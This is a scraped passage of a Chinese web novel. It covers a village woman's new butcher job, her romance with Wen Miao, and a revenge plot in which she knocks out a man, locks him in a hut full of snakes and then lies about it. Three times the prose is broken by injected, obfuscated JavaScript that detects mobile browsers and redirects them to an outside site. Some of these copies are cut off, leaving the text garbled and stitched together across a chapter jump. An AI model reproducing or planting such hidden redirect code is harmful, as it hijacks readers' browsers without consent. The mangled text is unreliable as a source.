季白青今天不算是正式上岗,但还是留下来和王宝珠一起卖猪肉,看着她的操作,默默将不同部位的价格记了下来。 今天的猪肉要比昨天卖的快些,十点不到就卖完了。 王宝珠擦了把手,问季白青:“怎么样,累吗?” 季白青摇了摇头,“还好,我认为我没问题。” “跟我来。” 她跟着王宝珠又回了仓库,里面还放着一块肥油和几块血豆腐。 王宝珠将肥油切了一半,其他的都让季白青拿回去。 “咱们杀猪的也不容易,上面是允许我们自己捞点油水的,不过不能对外声张。” 见季白青脸上那股聪明劲,王宝珠觉得喜欢,弹了弹她的额头,“好了,待会儿去问问夏主任哪天上镇里卖猪肉。” 季白青点头,真诚道:“宝珠姐,谢谢你,要不是你,我还得不到这工作。” 王宝珠一时乐不可支,“不用谢,小家伙。” 她将肥油藏在罐子里,抱着个罐子对她招了招手,“下次见。” 季白青和她分别之后又去找了夏主任问下次杀猪的时间,夏主任摸了摸下巴。 “这样,留个你们村的电话,一般是周三和周日杀猪,有意外的话,我再给你打电话。” 季白青爽快给她写了个电话,但还是待在一边没走。 夏寒梅抬起头有些疑惑地看向她:“季同志,还有什么事儿?” 季白青眼睛明亮,问:“夏主任,我想知道我这活每个月多少钱。” 夏主任顿时笑了,调侃说:“难怪在我这呆了这么久还不愿意走。” 她翻出一个本子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496242|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了看,“你现在算是顶宝珠干活,她回来后你才算是正式工,你宝珠姐一个月三十五,你一个月二十五,加上三十斤粮票和两斤肉票。” 说完,她站起来从身后的架子里找出来两块肥皂,“每年发一套工作服和胶鞋,每个月一块肥皂。” 问清楚了她的尺寸后,夏寒梅将两块肥皂给她:“下次周三来,工作服和胶鞋也在那天给你。” 季白青美滋滋地将东西手下之后就抱着陶罐去去找了门口大爷推回自行车。 她想,做了屠宰员之后,不说天天能吃到肉,但也一周能过一两次嘴瘾了。 看眼手上的破表,快十一点了。 她想到了躺在衣柜里的那一块精致的腕表,又想想家里某个还在和她闹别扭的家伙。 一时间又忍不住磨了磨牙,原本往云水村骑的方向也一转,去了供销社。 拎着包好的鸡蛋糕和芝麻糖,季白青哼着歌准备回家。 何香月和温淼都爱吃甜食,也不知道吃了她买的东西,大美人能不能不生气了。 最起码也得告诉她生气的原因是什么,她才好改正啊! 想着家里还在生气的大美人,她蹬自行车的速度都不自觉加快了。 回到家里后,她原本想直接去房间找温淼的。 但是闻到自己身上浓厚的血腥味,她还是放弃了。 灶房的烧水炉里水是热的,以为是何香月给她烧的水,季白青倒好水后提着去澡房,用皂角狠狠搓了一顿。 又去河边将衣服搓洗干净,闻到衣服上还隐隐存在的血腥气息,季白青将衣服晾开,决定将这作为自己的“工作服”。 以后去杀猪就穿这一套去。 收拾好之后,没看到何香月的人,季白青又忙活着生火做饭,等到闲下来之后突然有些奇怪。 总觉得她好像是忘记了什么。 一眼扫过桌上的点心,季白青跳起来。 靠,忘记去哄大美人了。 这人该不会是一上午没有出门吧?别在屋里憋坏了。 22. 第 22 章 开门前她先敲了敲门,提醒屋内的人:“温淼,我进来了哦。” 里面没声音,季白青就当她默认了,将门推开。 搬到季家和季白青一起同居后,一向有分寸感的温淼也经不住对方的软磨硬泡,最后将自己常穿的衣服放进了她的衣柜里。 两人不同款式尺码的衣服叠放在一起,连衣服上独有的气味都沾染上了对方的,每次从衣柜里拿出来自己的衣服,季白青都能够嗅到隐隐约约的蔷薇香。 进屋后,却见温淼正在叠着自己的衣服,将柜子里的衣物一件一件往外拿。 见状,季白青有些心慌,拦在她面前,低声问:“你干什么啊?” 温淼低着头,不想给她看自己湿红的眼眶,原本做好了不要再哭的决定,对上季白青的时候,她却又控制不住自己的泪腺。 逼着自己冷下心,温淼语气平淡回复:“我搬回知青点。” 季白青立马拒绝:“不要,不行!” 为什么要搬回知青点?不是住的好好的吗? 她仗着力气大的优势,将温淼拿出来的衣服一股脑全都放回柜子里。 温淼见状沉默不语,作势要将衣服再拿出来。 总之就是和季白青犟上了。 一拿一放,温淼没有一点要退一步的意思。 季白青最后直接伸出长臂紧紧抱住温淼,声音带着恳求: “温淼,你告诉我我到底哪里惹你生气了好不好?” “求求你了。” 季白青快委屈死了,好不容易才死皮赖脸地让恶毒女配对她放下设防、和她成为朋友,现在好了,一夜之间之前的全部努力都白费了。 她不禁悲从中来,“呜”的一声哭了出来。 “呜呜呜……温淼,你讨厌!” “你……呜……怎么这么坏?我做错了什么?” 实在是委屈的不像话,以前再多的委屈都没有哭过,但是想到她和温淼之间岌岌可危的友情,季白青实在是忍不住了。 面对冷静的季白青,温淼还可以冷淡下来拒绝和她沟通。 她也想为自己保留几分颜面。 但是季白青一哭,面对晶莹、透明的眼泪,她却顿时失了主见。 在她看来,最没用的眼泪,此时却能够轻易将她的心触动, 心闷痛之余,温淼不明白,自己都还没哭,她怎么倒是先哭起来了? 感受到对方将自己越抱越紧,勒着她的肋骨几乎喘不过气来了,她蹙着眉,犹豫一番,还是将手放在了季白青的肩膀上拍了拍。 “好了,这么大人了,怎么老是哭鼻子?” 她想让季白青看开,但一张口,却才察觉鼻腔酸涩得什么话都说不出来。 此时的季白青也明显是说什么都听不下去的状态。 温淼感到失落,也对,她自己都没法看开,有什么资格让别人看开。 怀里的身体软了几分,不复刚才的僵硬。 猜到了温淼会对现在的自己心软,季白青抬起一双朦胧泪眼,撑开湿乎乎的眼皮对她撒娇:“温淼、姐姐,告诉我哪里错了好不好?我不想和你分开。” “别走,求你了。” 听了她的话,温淼心尖微微一颤,抿着红润的唇瓣,脸颊发热。 真的不想和她分开吗?那她的雯雯又是怎么回事? 最终还是没耐住她的软言软语,温淼捏着手指,感受到指骨的痛意后清醒几分,将她推开:“你先放开我。” 季白青此时见好就收,抹了把眼泪,收回手后站直了身体。 “温淼,你就告诉我吧,我一定会改。” 温淼低头盯着自己粉色的指尖,不敢抬头看季白青。 她唇张合几次,最后还是有些难以启齿。 真正的原因说出来,好像又是无足轻重。 她觉得重要的事情会不会在季白青听后觉得她丢人,显得她小肚鸡肠呢。 季白青戳了戳她的肩膀,催促道:“姐姐,快说!” 温淼的视线情不自禁地挪到她修长的手指上,季白青不止高挑,手指也长,骨骼分明,皮肤很白,提重物的时候手臂肌肉鼓起,手背上淡青色血管也格外分明。 意识到自己在想什么之后,她像是被灼烧一般收回视线,脸烫的不像话。 嗫嚅一番后,顶着季白青灼灼的视线,温淼还是开了口:“因为……李雯雯。” 季白青眉头扬起,合着温淼生气的原因不是自己,而是别人? 所以她是给别人背了锅? “李雯雯怎么了?” 问出这话后,温淼又不说话。 实在是这件事在别人听来会觉得太过奇怪,那么一件小事,温淼觉得或许也就她会在意。 要是季白青知道了缘由后,肯定会觉得她莫名其妙。 见她沉默下来,季白青心急,捏捏她的手指,“温淼,你快说!” 听了这称呼,温淼抬头问她: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她看着季白青,目光里带着谴责: “你说了,只和我一个人做朋友。” “但是……李雯雯说,她是你朋友。” “你骗我,骗子。”说出最后一个字,温淼的手攥紧,盯着季白青执着于得到她的回复。 听了这话,季白青有些尴尬。 被温淼澄澈的眼睛看着,她总觉得有些心虚,最后憋出一句话。 “可是……人不能只有一个朋友啊。” 温淼皱眉,“我就只有你一个朋友。” 说完这句话,温淼自己都愣了,她所想的朋友是和女朋友划上等号的,她这么说证明在她的心底已经认可季白青了。 她真的……喜欢季白青吗? 23. 第 23 章 季白青还要说些什么的时候,却被温淼捂住了嘴,“好了,不说了,我们暂时和好,你想让我自己好好想想。” 她唔唔两声,最后往后退了几步,“吃饭去。” 季白青有些疑惑,想什么?问题不是已经解决了吗?还有什么需要想的? 温淼说要自己好好想想,几天的时间也没怎么理她,但是季白青却没有先前那么慌乱。 她知道,大美人已经消气了,两个人现在和好了,自然不用她有多余的担心。 不过季白青还是有些惆怅,她觉得温淼对友情的占有欲好像太强了。 她都把她当做自己的“嫡长闺”了,怎么她还想要自己只有她一个朋友。 弄得她现在在村里和其她女孩之间的相处都得小心翼翼的。 好在温淼逐渐开始恢复以前的样子,在这段时间里,季白青也正式放弃了记分员这个职位,毕竟屠宰员的岗位是个更好的香饽饽。 记分员换做了村里另外一个初中毕业的女同志,是村长的表侄女文秀梅。 而季白青当上了食品站的屠宰员的消息也传遍了全村,暗地里不知道多少人咬碎了一口银牙,还有不少人都明里暗里来季家打探过情况,问季白青是找的什么门路。 屠宰员不仅有工资拿,还能走员工价买肉,换谁谁不馋这个位置! 不过都被何香月笑呵呵地敷衍过去了。 这可是她闺女自己努力得来的工作,哪有什么门路。 在周二晚上,季白青才刚上床躺下,就听见温淼的话。 “季白青,我问你几个问题。” 季白青听出来她语气中的紧张,觉得她可爱,笑眯眯应下。 “好啊,问吧,我知无不言言无不尽。” 温淼问她:“如果我没有钱和票,想要吃肉你会怎么办?” 季白青有些疑惑,掐掐她的脸颊肉,“蓁蓁,你是不是傻了,我现在可是屠宰员,你想吃肉我怎么说也要帮你弄块肉回来。” “买!” 温淼沉默了一会儿,唇边难以控制地绽开了笑,最后又悄悄压下唇角装矜持。 她继续发问: “那如果我看上了一条漂亮的裙子,没有足够的布票怎么办?” 想着温淼上次出手大方的模样,季白青心想,原来是想买衣服没布票了,果然钱和票都不经花,也难怪现在说话的语气犹犹豫豫的像是个做错了事的小朋友。 她琢磨着手上的票,想了想还是觉得可能不够。 “蓁蓁,等我上一个月的班,肯定能换来足够的票,到时候再去买你喜欢的漂亮裙子。” 温淼往她的方向挪了挪,两人的手臂挨在一起,对方身上的热度传来,她软声问她:“真的吗?你是不是在骗我?” 黑暗中的一切都看不真切,但听着温淼娇滴滴的语气,她的脑海里就浮现起那张美貌动人的脸,此时的温淼大概是弯着眼睛,眸子明亮。 她承诺:“真的,不是骗你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496244|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温淼将脸埋在她的肩膀上,轻笑了几声。 季白青身上带着的皂角香她现在已经熟悉的不行了,房间里两种不同的味道交织在一起,显得有些过分亲密。 她眼睛在此时格外明亮,半坐起了身,还将季白青拉了起来。 季白青懒懒地躺在床上,任她动作,但身体跟黏在了床上一样不动,一直到大美人要恼了之后才自己坐起来。 “干什么呢,买个裙子就那么高兴?” 温淼没有理她的话,坚定道:“我已经想清楚了。” 季白青歪头,“想清楚什么?” 温淼在黑暗中伸出手,准确摸到了季白青的脸颊。 季白青不知道待会儿会发生什么,还亲昵地在她的掌心蹭了蹭,像是一只温顺的小狗。 手心的脸颊很软,想到对方是自己喜欢的人,温淼内心更是软的不像话。 她好像,真的做好了完全接受季白青的准备。 以前温淼从来没有想过,会让别人走进自己的心里、介入她的生活,但是想到对方是热忱又温暖的季白青,好像并不难以接受。 不知道从什么时候开始,季白青在她心里就变成了很好的朋友,现在更进一步,成了她可以接受的恋人。 想到这,温淼眯起了眼睛,眼角微微上挑,语气带着几分软绵绵的笑意:“季白青,我知道你喜欢我,我现在已经想好了,我愿意和你在一起,做你女朋友。” “你什么时候给我一个名分?” 50-60 第51章 ◎自作自受◎ 国庆回家探亲这件事早在八月的时候就已经写信通知过温向荣她们了。 当时她们的回信自然是高兴的,话里也没有任何拒绝让她回去的意思。 而温向荣现在突然变卦,温淼摸也不准她奶奶想的是什么。 见她拧眉冥思苦想,季白青伸出手将她眉心抹平。 “也许只是突然有事不太方便,没关系,国庆没法回去我们春节回去也行,探亲假还能够多几天。” 在原书中,温淼奶奶出事的时间也并不是在今年,目前不必生出没头没尾的担心。 听她这么说,温淼吐出一口气,调整一会儿心*态后仰头对她一笑:“你说得对。” 况且既然温向荣都已经在信里明说了让她们不用回去,她再怎么多想都不能回去。 温淼知道温向荣一向是个强势的人,决定好的事情不允许别人违背。 她说这话一定是有原因的,温淼贸然回去也许会给她们添乱。 温向荣也在信里说了让她们春节再回去,应该没出什么大事。 原本要去京市的计划现在被临时取消,季白青顿时多出了不少的时间,有了精力去做其它的事。 将准备带到京市去的不能保存太久的山货都挑了出来,剩下的还能够春节的时候一起带过去。 在国庆节的前几天,原本下降了的温度顿时又升了起来,只不过时节不同,村里后山的树有的还是翠绿,有的已经变黄变红,成为一抹亮眼的点缀。 后山原本已经隐匿起来的蛇类也悄悄冒出了头,在藤蔓、枯叶和枝条上盘踞。 季白青去拿上麻袋,又挑了一把好用的铁钳,将自己浑身上下包裹严实后就去了山上。 南方的蛇类很多,也有不少一部分的毒蛇。 多亏原主记忆的加持,季白青才能够简单辨别出毒蛇和无毒蛇。 一到山脚,就看见了一条黑眉锦蛇,正盘踞在草地上慵懒地晒着太阳,看起来无所设防,有些傻。 季白青眼疾手用树杈按住它的七寸,随后将雄黄水喷了上去,蛇身挣扎幅度变弱后立即收进袋子里。 用同样的手法又装了二十多条蛇后,季白青拎着手里颇有分量的布袋,唇角微扬,可那双黒沉的眼睛里却并没有带什么温度。 将蛇带到了半山腰废弃的屋子里,她把布袋放在墙角,开始用黄泥将土坯墙的缝隙堵上,简单修缮一番,她拉了拉木门,风吹雨打下,门早已经褪了色,好在没有腐烂,还是结实的,就是裂开几道缝。 不过也可以用黄泥堵上。 屋子的面积不大,是十几年前云水村的猎户为了方便上山打猎而支起来的休息的小地方。 大家伙都是晚上出来,所以她们需要在晚上过夜,仅仅是一个歇脚的地方,面积不大,一前一后只能供双手展开。 季白青很满意。 现在天黑的要早了一些,一顿忙活下来现在已经到了傍晚,晚霞晃晃悠悠地落下来,看着透过顶部毛草照进来的黄色光线,季白青眯了眯眼睛,将手上的灰泥掸下。 将布袋的口袋扎紧,季白青回去的路上心情不错,还顺带摘了个蜂窝,到家后将蜂蜜滤出来装进罐子里。 温淼炒菜,她弄清楚后坐到了一边给灶眼里添柴。 “你去山上了?”温淼有些疑惑。 季白青点头,脸上十分自然:“我看蜂蜜快没了,上次的蜂蜜排骨你不是喜欢吃吗?到时候我再留点排骨回来做给你吃。” 听她这话,温淼想起了上次尝到蜂蜜排骨时的惊艳口感,矜持地点了点头。 一个人炒菜,一个人生火,两人分别是站着和坐着的姿势。 季白青抬头看着她,露出了一个温柔的笑。 吃完晚饭,温淼洗完澡之后让季白青去洗。 季白青抬水去了澡间,去房间拿衣服的时候温淼坐在桌前打着手电筒不知道在看什么。 她淡定走过去,将手电筒拿起来。 “给我用用,你刚洗完地太滑了。” 温淼随意点了点头,将煤油灯点上。 拿着手电筒,季白青将澡间的门关上后,往知青点走。 她们平时饭后消食散步会路过知青点,大概也能知道知青们的大概作息。 季白青在门口蹲守了一会儿,如愿听到了“嘎吱”一声。 知青点的门被打开,光是看着高大的身形可以确定出来的人是陆延。 身子微微往一边藏了藏,等到陆延从自己面前路过的时候,季白青干脆利落一手刀劈在了他的后脖。 陆延的身体瞬间软了下来,跌落在地。 看着地上的男人,季白青毫不留情地一脚踹在了他的腹部。 男人还在昏迷,但也溢出了一声闷哼,挣扎着似乎是要醒来。 时间不早了,季白青又一劈一掌,把叶子往他嘴里一塞,扛起人绕过大半个村子就往后山跑。 打着手电筒很快就到了半山腰的屋子里,她将人丢在了地上后见挣扎扭曲的布袋打开,各色的蛇争先恐后的往外跑。 看着还在昏迷的陆延,季白青又是一脚踹了上去,这次直接落在了下腹,疼得男人的身体下意识一扭,双手捂住了裆部。 他要醒了,用强光照着陆延的脸,看到他发颤的睫毛,季白青得出这个结论。 见蛇慢悠悠地要往陆延的身上爬,季白青无声冷笑,将门一关,用锁锁了起来。 陆延幽幽转醒,感受到身上的疼痛是脑子还是懵的。 他不过是尿急想要去茅房而已,怎么突然昏过去了?而且……身体还那么痛,尤其是隐秘之处。 还来不及思考为什么,他耳朵微动,突然听见了“嘶嘶”的吐信声音。 什么鬼东西! 陆延的手往身边一揽,突然触碰到了一个冰凉细长的东西。 最开始他还不知道这是什么,感受到了他带着温度的手,手下那玩意儿好像突然兴奋了起来,开始尝试往他的手上绕。 结合刚才的声音,猜到了这大概是蛇。陆延瞬间神魂俱裂,将手上的东西一甩。 他撑着地板想要站起来,身体发软,地上踩着的东西也是软的。 身边的“嘶嘶”声仍然没有消失,黑夜中无论看向哪处视线都无比模糊,陆延听见了自己的心跳声越来越快。 “谁?!到底是谁!谁把我弄过来的!”陆延将嘴里的叶子吐出去,发出一声怒吼,嗓子几乎都要扯破。 一些残留的碎叶卡在喉咙里不上不下,他整个人已经开始暴怒。 “贱人!给我出来!滚出来!” 无能狂怒的话语一句一句敲在季白青的耳边,最后听着里面突然响起的尖叫,季白青满足地转身,哼着歌往家走。 欠别人的总是要还的,原书里陆延作的孽这辈子让他还一下不过分吧。 回家简单把身上冲了冲,她才回了卧室。 温淼已经躺在床上了,听见动静艰难地撑开眼睛,语气绵绵软软:“怎么洗了那么久?” 季白青挠了挠头,显得十分人畜无害。 “不小心打了个盹,太困了。” “……真是服了你了。”哪有人洗个澡都能睡着的,又不是泡澡。 她往床内侧挪了挪,声音渐渐低了几分,还聚集着困意。 “困就睡吧。” 季白青上了床,看着她的睡颜,最后在她的泪痣上吻了吻- 陆延算是度过了这么多年来最难熬的一个晚上。 不知道是谁将他带到了这个鬼地方,身上一片火辣辣的疼,下腹也憋胀,但他却被困在屋子里不能出去。 房间黑乎乎一片,月光透过屋顶的缝隙照进来,唯一能让陆延看清楚的就是地上扭曲的蛇。 吐信子的声音一遍一遍在耳边回放,一条又一条蛇锲而不舍地想要缠着他的脚往上爬,最终被他白着脸甩下去。 他不知道蛇有没有毒,每一次举动都提心吊胆,生怕自己被咬了一口,从此丧命。 时间一秒一秒地过去,他的脑子始终紧绷着一根弦,紧张到全身都汗淋淋的。 就连将他弄到此处的罪魁祸首是谁他都没精力再细想。 怒气和恐惧在内心积攒,最后他脚一踹向了墙,泥灰簌簌地往下落,感受着摇摇欲坠的墙壁,陆延又担心屋子倒塌后他会被压在废墟之中,最后只能在巨大的恐慌中僵直。 嗓子早就哑了,无论说些什么,屋外都是静悄悄的一片。 没人回应他。 除了蛇在地上蜿蜒爬行的沙沙声和吐信声。 时间不知道过了多久,他的胸膛起伏越来越快,突然听见了门外咔哒一声。 陆延的身体瞬间一动,一个动作保持久了,四肢的麻都涌上了大脑。 他试着张了张嘴,最后终于吐出了一句话。 “放我出去!” 天色朦朦亮,屋子里的景象能够看清楚几分。 四面糊的黄泥,地上铺着一层腐败的茅草。 十几条蛇类在上面盘踞,其它的零零散散散落在他的脚边。 看着那些蛇,想到它们在身上攀爬过留下的湿黏冰冷触感,陆延瞬间崩溃。 “快放我出去!” 屋外的声音停了,陆延有些恐慌,害怕对方走了自己会一直被困在这里。 饿死或是被毒蛇毒死。 他去推门,却发现门一推就开了。 门前散落着一堆腐叶,没有任何人来过的痕迹。 而在屋子里饿了一夜的蛇也纷纷往外爬,蛇身落在叶子上发出窸窸窣窣的声响。 冷湿的气息灌入鼻腔,陆延恍惚地站在外面,一向挺背的被微微躬起。 到底是谁把他弄到这里来的?是人……还是鬼? 在原地站定一会儿,陆延最后顺着山路往下走,回了知青点。 今天是国庆节,村里没有安排上工,现在是还早,村里没几个人。 陆延回到了知青点,要去茅房的方海洋见着他狼狈的样子被吓了一跳,瞌睡都醒了。 他现在衣服皱巴巴的,脸色苍白,活像是被吸了精气。 “陆哥,你、你昨天一晚上不在,去哪了啊?” 像是想到了什么,方海洋的眼睛往下溜了一圈,嘿嘿一笑。 “不会是……” 陆延直接踹了他一脚,将人踹倒后又补了几脚,内心的郁气总算是散了一些。 “滚!” 等到洗了个冷水澡,又吃了个早饭后,陆延的大脑才恢复了正常的运转。 村里唯一能够将他打晕再把他带到山上的人不多,有这个能力而又与他结仇的人却只有一个。 季白青。 除了她,陆延想不到其她人。 自己就这样被一个女人给耍了。 一想到这个可能,陆延气得说不出话来。 将碗往桌上重重一放后起身出了屋子,往村长家走。 见到了村长后,陆延立马道:“村长,昨天晚上有人把我打晕了带到山上的茅草屋里去,村里只有季白青对我有意见,你一定要给我一个交代。” 听了这话,李向东的唇角抽了抽。 还村里只有季家丫头对他有意见,那他是不知道还有多少人嫌弃他嫌弃得不行。 他没有明说,只是板着一张脸公事公办道:“你有什么证据?” 陆延一噎,“除了她还能够有谁!” 李向东:“陆知青,凡事都要讲究个证据啊。” 陆延皱着眉,“那就去找她当面对峙清楚!” 李向东一笑,“她和温知青一大早就去杀猪了,哪有时间和你对峙?” 想要让村长为自己找回公道的目的没有达成,最后陆延沉着一张脸回了知青点,就连沈念念都没有搭理- 季白青在实施行动前计划了不短时间,确定好万无一失才行动的,自然也不会给他留下证据。 这件事就连温淼她都没有告诉,即使陆延怀疑自己,拿不出来准确的证据那都叫污蔑。 更何况,他既然在原书里对温淼那样,那他自己再经历一遍原书中温淼所经历的,那也没问题吧。 反正季白青是觉得没什么问题。 将茅草屋的锁解开之后季白青就回了家,虽然今天是国庆节,但碰上了周三,她还是要老老实实去上班。 温淼今天要去荷花家给小米和满满几个小家伙讲课,难得没有粘着季白青,季白青一个人去了食品站。 杀完猪后,夏主任特意留住了她和王宝珠,给她们发了一斤的富强粉还有一兜子青皮橘子,光是看起来就让人只咽口水。 季白青提着一兜子青皮橘子推着单车走在路上,走进巷子里的时候,还在想今天要买点什么东西回去。 突然她抬起了头,往四周望了望,眉心皱起。 有人在看她,或许还跟踪了一段路。 最后将视线定格在红砖屋后的一小截衣摆,季白青推着车往前走了几步,厉声道:“谁?出来!” 那人像是被吓到了一般,身体一哆嗦。 没多久一个人就立马从屋后出来,双手扭在一起,有些不好意思地看着季白青。 见是个女同志,季白青的脸色才好一些。 她声音缓和几分,问:“同志,你跟着我干什么?” 那女同志咽了口口水,给她道歉:“不好意思啊,我不是故意跟着你的。” “我就是看你手里的橘子,想问你是在哪买的。” 她声音压下来一些,见周遭没有人才敢问出声:“同志,你这是在哪个黑市买的?我都没见过。” 季白青眉头一扬,不动声色回答:“咱们这儿还有黑市呢。” 见她和自己装傻,那女同志有些着急了。 “嘿,同志,虽然我们素未相识,我肯定不至于干出举报那种黑心肝的事。只是我嫂嫂有了,就想吃点酸的,不然老吐,你告诉我在哪买的我也买点回去。” 钓鱼执法后,季白青认真解释:“同志,我真不是在黑市买的,这是我们单位发的。” “不过……你说的黑市有几处啊?能带我去看看吗?我还没去过黑市呢。” 听她这么说,女同志有些犹豫,将自己脖子上的丝巾往上掩了掩。 季白青微笑,“你想要橘子的话,我可以分一半给你。” 一兜子的橘子有二十多个,分出去一半家里的人也能每人分上两三个。 这话一出,女同志瞬间不再犹豫。 “行!” 她掏出口袋里缝制的口罩给自己戴上,又将手上的草帽往头上一按,见季白青全身上下什么都没有,给出了建议: “不然同志你去供销社买个帽子和口罩?” 季白青欣然接受,去供销社买了个低调的黑色口罩和帽子,将自己遮掩得严严实实后才跟在女同志的身后。 女同志走在她身边,小声介绍自己:“我叫胡蝶,家就在那边的巷子口。” 季白青点头,“我叫温青。” 胡蝶带她往前走,路过了季白青唯一知道的那个黑市巷口后对她解释:“这其实也是个黑市,但是进去还得交钱,不划算,门口守着的人太凶了。” 季白青十分赞同地点头,“你说得对,不去最好了。” 胡蝶带着季白青一共去了三个地方,其中一个还是接近镇上回云水村的路,从那俩来往往路过了几次,季白青竟然从来没有发现过。 那一处的交易也是最全的,前后都有遮挡,很隐蔽,在交易中,所有东西都被东西盖起来,等到有人询问清楚交了钱后卖家才把货给对方。 来来往往的人都捂得严实,就是夏天可能有点遭罪。 不过看起来安全系数挺高的。 季白青将这一切都默默记在了心里,这里直接做好的吃食卖得少,大部分都是粮食,也有钱票交易。 她想着,过几天可以做些吃的来看看到底有没有销路。 民以食为天,如果第一次的生意就能好的话,那以后做吃食生意就更方便了。 和胡蝶一起回到了大道上的时候,季白青看着对方的眼里充满了感激。 “同志,真是太谢谢你了。 她倒出来一半的青皮橘子放在自行车前面的筐里,另外一半连带着兜子都直接给了胡蝶。 胡蝶拿着橘子,也是一脸感谢。 “太谢谢你了温同志。” 季白青弯了弯眼睛:“那我就先回去了,下次再见。” 胡蝶很热情地和她挥手。 骑着自行车回去的路上,季白青已经在思考做什么吃的了。 不需要等多久,明天就可以直接去试试。 此时此刻她真的无比庆幸她上辈子穷,去各色的餐馆打过工,能够做出不同的吃食。 做饭的技能现在刚好能用上。 回到家后,把东西规整好,季白青将米饭蒸上,炒菜的时候想着明天可以准备一些什么。 思考得太投入,差点把菜给炒糊了。 往锅里又添了点水,季白青决定晚点再思考。 现在要做的是做好中午饭。 饭后,她拿着张纸写写画画,列了几个糕点最后想到了成本还是划去了。 温淼从她的背后贴近,低头看她在写什么。 见到了一大串的糕点名单后有些茫然。 “你这是要干什么?” 季白青将今天上午的经历和温淼说了一番。 “我先去黑市看看做吃的能不能赚到钱。” 温淼拧着眉,有点担心。 “风险会不会太大?” 季白青撑着下巴,“风险肯定是有一点的,但我感觉好像也还行,到时候有警察来了我拔腿就跑不久行了。” 温淼知道季白青是个财迷,倒也没有反对,沉思一番最后给出一个建议: “或许可以做菜盒子?” 面皮里面裹着各种蔬菜,可以饱腹,不过有点废面粉。 季白青思考了一下可行性,觉得好像也行。 富强粉里面可以添一点红薯芋头,这样吃起来味道更丰富,也节省了富强粉。 下午季白青就去地上摘了各色的菜,炒了两个不同口味的馅料。 一个是韭菜鸡蛋,一个是蒸茄子。 将切碎的红薯和芋头掺进面粉中,最后煎得焦香,再分别包上韭菜鸡蛋和蒸茄子,将菜盒子切开还能够不同口味双拼。 她尝了一口,面饼带着红薯的甜和芋头的糯,馅料的味道也不错,吃了半个后让人觉得还想吃。 而每个菜盒子的面皮都薄如蝉翼,需要的富强粉不多。 当晚家里的晚饭就是菜盒子和拍黄瓜,见她们都尝了一口后,季白青有些期待地问:“怎么样,味道好吗?” 温淼很给面子地点了点头,“好吃。” 何香月和季伟也都评价不错。 季白青觉得明天去卖菜盒子应该也能稳了。 如果实在是卖不掉的话,那她还可以拿回来自家吃。 【作者有话说】 来晚了,轻轻跪下[爆哭] 没存搞了,在裸更中。 大朋友小朋友们儿童节快乐! 感谢投雷营养液,感谢订阅评论收藏 52 第52章 ◎报纸◎ 晚饭吃到了一半,突然听见了李向东的声音。 “白青啊!” 乡下的大门除了晚上睡觉或是家里没人,其它时候都是大敞开的,季白青往外一看,李向东正带着陆延站在院子外。 何香月她们还觉得奇怪,“村长怎么来了?找你有什么事?” 季白青大概能猜到是陆延找村长来和自己对峙,她淡定地站了起来,安抚她们:“应该没什么事,我去看看,你们继续吃吧。” 话虽然是这么说,但是何香月她们还是担心自己女儿的,都跟在她的身后出去了,温淼也不放心地跟在一边。 “叔,什么事啊?”季白青问李向东。 李向东正想着怎么和她明说,一边的陆延就怒气冲冲地开了口,神色愤怒。 “季白青,你别给我在这里揣着明白装糊涂!昨天晚上干了什么事你不知道吗?” 季白青的脸色有些茫然,“昨天晚上?晚上你怎么了?” 陆延脸色一白,有些不愿意回想昨天的情景。 他避重就轻回答:“昨天晚上我被人打了。” “你被打了也不能就莫名其妙地给我按个罪名啊,我昨天一晚上都和温淼在一起,哪有时间去收拾你。” 她将面前的男人上上下下打量了一眼,面露嫌弃。 “我多看你一眼都觉得晦气,怎么可能还去打你,我又不是吃饱了撑的。” 温淼在一边也点头:“昨天晚上我一直和阿青在一起,我也可以证明,很早我们就睡了。” 陆延:“……你!” 李向东听完,看向陆延,板着脸问:“陆知青,都说了不可能是白青,现在你可以放心了吧?” “不可能,肯定是季白青做的!”陆延死死盯着季白青,像是要把她身上盯出来一个洞一般。 这人太固执了,当面对峙找不出来什么问题偏偏还要坚持自己的想法,李向东也没什么心思和他继续耽误下去。 脸色一沉,他开口:“陆知青,你不要胡乱揣测,有些事情不是你嘴上一说就是对的,凡事都要讲究证据。” 季白青在一边乐得看热闹,弯着眼睛慢悠悠补了一句:“不知道陆知青到的是惹了谁,不过谁没事这么坏心眼对付你啊?你该不会是在做梦梦到自己被揍吧。” “怎么可能是做梦!那么多条蛇。”他立马反驳,亲身经历过的事虽然他不愿意回忆但也有实感。 那是真真实实发生过的,哪里是做梦! 闻言,季白青的脸上有些疑惑,“什么蛇?你确定不是记错了,现在的温度哪来的蛇。” 陆延见她脸上的神色不似作假,一时间心里也在犯嘀咕。 难道真的不是她?那还有谁呢。 难不成……真的是鬼吗。 毕竟他没有看到对方的身影,也没有找到对方留下来的痕迹。 还有莫名奇妙出现的……那么多条蛇。 一切都无迹可寻,难不成将他带到山上的人真的是鬼?! 想到了这个可能,陆延的脸色更白了,转过身把李向东丢在身后,面色恍惚地往知青点走。 看着他失魂落魄的背影,李向东暗骂一声。 麻烦他那么久一句感谢的话都没有,瘪犊子玩意儿! 